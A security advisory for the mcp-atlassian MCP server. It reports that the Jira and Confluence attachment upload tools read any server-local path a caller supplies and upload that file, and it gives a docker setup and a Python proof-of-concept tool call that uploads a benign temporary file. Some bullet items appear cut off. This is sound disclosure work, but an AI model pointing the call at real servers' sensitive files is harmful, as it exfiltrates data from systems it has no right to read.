The Jira and Confluence attachment upload tools accept caller-controlled file path parameters and read those paths from the MCP server's local filesystem before uploading the file as an Atlassian attachment.
In local stdio deployments, this can expose files readable by the user's MCP process. In documented HTTP/SSE or streamable-http deployments, the impact is higher: any MCP client that is allowed to invoke write/upload tools can cause the server process to read a server-local file and upload it to Jira or Confluence.
This is not dependent on an AI prompt injection or model behavior. It can be triggered deterministically with a normal MCP tool call.
The vulnerable behavior exists because upload tool arguments are treated as server-local filesystem paths.
Relevant implementation points:
mcp_atlassian.confluence.attachments.AttachmentsMixin.upload_attachment
file_path.os.path.exists.mcp_atlassian.confluence.attachments.AttachmentsMixin._upload_attachment_direct
file_path with open(file_path, "rb").mcp_atlassian.confluence.attachments.AttachmentsMixin.upload_attachments
file_paths.upload_attachment for each path.mcp_atlassian.jira.attachments.AttachmentsMixin.upload_attachment
file_path.os.path.exists.mcp_atlassian.jira.attachments.AttachmentsMixin.upload_attachments
file_paths.upload_attachment for each path.mcp_atlassian.servers.jira.update_issue
attachments argument as a JSON array string or comma-separated string.The project also documents non-stdio deployment modes:
ssestreamable-httpTherefore the upload path arguments should not be treated as if they always come from a single fully trusted local desktop user. In an HTTP or multi-user deployment, the caller and the server-local filesystem are separate security boundaries.
The core issue is that the MCP caller can choose a path, while the MCP server reads that path using the server process privileges and sends the bytes to a remote Jira or Confluence attachment endpoint.
Expected behavior:
file:// URLs should be rejected before filesystem checks.The following proof of concept uses a benign temporary file generated at runtime. It does not rely on prompt injection or any AI/LLM behavior. It uses a normal MCP client call against a test Confluence page controlled by the tester.
Prerequisites:
Start mcp-atlassian in HTTP mode:
docker run --rm -p 9000:9000 \
-e CONFLUENCE_URL="https://<your-test-site>.atlassian.net/wiki" \
-e CONFLUENCE_USERNAME="<tester-email>" \
-e CONFLUENCE_API_TOKEN="<tester-api-token>" \
ghcr.io/sooperset/mcp-atlassian:latest \
--transport streamable-http --host 0.0.0.0 --port 9000
Install the MCP Python client:
python -m pip install "mcp>=1.8.0"
Run this standalone client script:
import asyncio
import os
import tempfile
from pathlib import Path
from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client
async def main() -> None:
mcp_url = os.environ.get("MCP_URL", "http://127.0.0.1:9000/mcp")
content_id = os.environ["CONFLUENCE_CONTENT_ID"]
proof_dir = Path(tempfile.mkdtemp(prefix="mcp-atlassian-proof-"))
proof_file = proof_dir / "server-local-proof.txt"
proof_file.write_text(
"This benign file was read from the MCP server filesystem and uploaded by an MCP tool call.\n",
encoding="utf-8",
)
async with streamablehttp_client(mcp_url) as (read_stream, write_stream, _):
async with ClientSession(read_stream, write_stream) as session:
await session.initialize()
result = await session.call_tool(
"confluence_upload_attachments",
{
"content_id": content_id,
"file_paths": str(proof_file),
"comment": "Security test: benign server-local upload proof",
"minor_edit": True,
},
)
print(result)
print(f"Uploaded test filename: {proof_file.name}")
if __name__ == "__main__":
asyncio.run(main())
Run it with the test page ID:
CONFLUENCE_CONTENT_ID="<test-page-content-id>" python poc.py
Observed result:
confluence_upload_attachments tool call.Security significance:
The same class of issue applies to Jira attachment upload flows that accept caller-controlled file path parameters.
This is a server-local file disclosure and exfiltration primitive through attachment upload tools.
Impacted users:
mcp-atlassian with write/upload tools enabled.mcp-atlassian through sse or streamable-http.Potential attacker:
Potentially exposed data depends on the deployment, but can include files readable by the MCP server process, such as:
This issue does not require prior compromise of the internal network in deployments where the MCP service is intentionally exposed over HTTP/SSE to multiple users or external MCP clients. The attacker only needs the ability to invoke the upload tool. The server then reads the chosen path with its own process privileges and uploads it to Jira or Confluence.
If the intended security model is that every MCP caller is fully trusted with arbitrary read access to the server filesystem, that should be documented explicitly. Otherwise, server-local file path uploads should be opt-in and constrained to a configured upload root.
Suggested fixes:
file:// URLs and remote UNC path forms before any filesystem operation.{
"cwe_ids": [
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-22T20:36:29Z",
"nvd_published_at": null,
"severity": "HIGH"
}